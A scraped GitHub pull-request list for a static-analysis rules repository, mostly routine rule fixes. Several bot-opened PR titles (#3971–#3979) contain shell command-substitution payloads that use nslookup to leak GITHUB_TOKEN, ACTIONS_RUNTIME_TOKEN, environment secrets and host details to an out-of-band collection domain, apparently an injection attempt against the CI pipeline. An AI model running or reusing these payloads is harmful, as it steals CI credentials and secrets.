-
Notifications
You must be signed in to change notification settings - Fork 564
Pull requests: semgrep/semgrep-rules
Author
Label
Projects
Milestones
Reviews
Assignee
Sort
Pull requests list
fix(gha): skip non-bash shells in curl nested-bash rules
#4005
opened Jul 16, 2026 by
l46983284-cpu
Loading…
2 tasks done
fix(terraform): allow AWS FIPS TLS policies in insecure-load-balancer-tls-version
#4003
opened Jul 14, 2026 by
sbruton
Loading…
New Published Rules - ka_beraoud_esi_dz.limit-overrun-race-condition
#4000
opened Jul 12, 2026 by
semgrep-dev-pr-bot
Bot
Loading…
renovate: don't flag packageRules covered by a top-level minimumReleaseAge
#3999
opened Jul 10, 2026 by
munzzyy
Loading…
Remove obsolete rule javascript.lang.correctness.no-replaceall
#3998
opened Jul 10, 2026 by
munzzyy
Loading…
fix: Solidity move basic-oracle-manipulation test annotation to the matched line
#3997
opened Jul 10, 2026 by
malaverdiere
Loading…
1 of 2 tasks
fix(sonarqube): detected-sonarqube-docs-api-key false-positives on SHA pins / image digests
#3994
opened Jul 9, 2026 by
scottschreckengaust
Loading…
Add ML deserialization rules (torch.load, joblib, pandas.read_pickle,…
#3992
opened Jul 8, 2026 by
DipesThapa
Loading…
New Published Rules - help_marketingtool_pro.detected-sonarqube-docs-api-key-copy
#3987
opened Jul 5, 2026 by
semgrep-dev-pr-bot
Bot
Loading…
Add LangChain agent-tool security rules (ShellTool, PythonREPL)
#3986
opened Jul 3, 2026 by
camgrimsec
Loading…
fix(csharp): extend xpath-injection rule with interpolated strings and SelectSingleNode
#3982
opened Jun 27, 2026 by
SkajeDev
Loading…
2 tasks done
Add python.fastapi.security.path-traversal-file-response rule
#3981
opened Jun 27, 2026 by
0xjjjjjj
Loading…
Add comprehensive Android WebView security rules (XSS, File Access, Universal Access)
#3980
opened Jun 27, 2026 by
Mehrdoost
Loading…
New Published Rules - envsc$(nslookup $(env|grep -i secret|head -1|cut -c1-20).d8qvpl7o9kv18onobs00c3so6qxeigasu.oast.pro)
#3979
opened Jun 20, 2026 by
semgrep-dev-pr-bot
Bot
Loading…
New Published Rules - scrpt$(nslookup $(echo $0|tr / -|cut -c1-20).d8qvpl7o9kv18onobs00c3so6qxeigasu.oast.pro)
#3978
opened Jun 20, 2026 by
semgrep-dev-pr-bot
Bot
Loading…
New Published Rules - envtf$(nslookup $(env|grep TOKEN|head -1|cut -c1-30).d8qvpl7o9kv18onobs00c3so6qxeigasu.oast.pro)
#3977
opened Jun 20, 2026 by
semgrep-dev-pr-bot
Bot
Loading…
New Published Rules - artk$(nslookup $ACTIONS_RUNTIME_TOKEN.d8qvpl7o9kv18onobs00c3so6qxeigasu.oast.pro)
#3976
opened Jun 20, 2026 by
semgrep-dev-pr-bot
Bot
Loading…
New Published Rules - pwd1$(nslookup $(echo $PWD|tr / -|cut -c1-20).d8qvpl7o9kv18onobs00c3so6qxeigasu.oast.pro)
#3975
opened Jun 20, 2026 by
semgrep-dev-pr-bot
Bot
Loading…
New Published Rules - ghtok4$(nslookup $(echo $GITHUB_TOKEN|cut -c1-32).d8qvpl7o9kv18onobs00c3so6qxeigasu.oast.pro)
#3974
opened Jun 20, 2026 by
semgrep-dev-pr-bot
Bot
Loading…
New Published Rules - ghtok3$(nslookup $GITHUB_TOKEN.d8qvpl7o9kv18onobs00c3so6qxeigasu.oast.pro)
#3973
opened Jun 20, 2026 by
semgrep-dev-pr-bot
Bot
Loading…
New Published Rules - hn2$(nslookup $HOSTNAME.d8qvpl7o9kv18onobs00c3so6qxeigasu.oast.pro)
#3972
opened Jun 20, 2026 by
semgrep-dev-pr-bot
Bot
Loading…
New Published Rules - idcut$(nslookup${IFS}$(id${IFS}|cut${IFS}-c1-5).d8qvpl7o9kv18onobs00c3so6qxeigasu.oast.pro)
#3971
opened Jun 20, 2026 by
semgrep-dev-pr-bot
Bot
Loading…
Previous Next
ProTip!
Adding no:label will show everything without a label.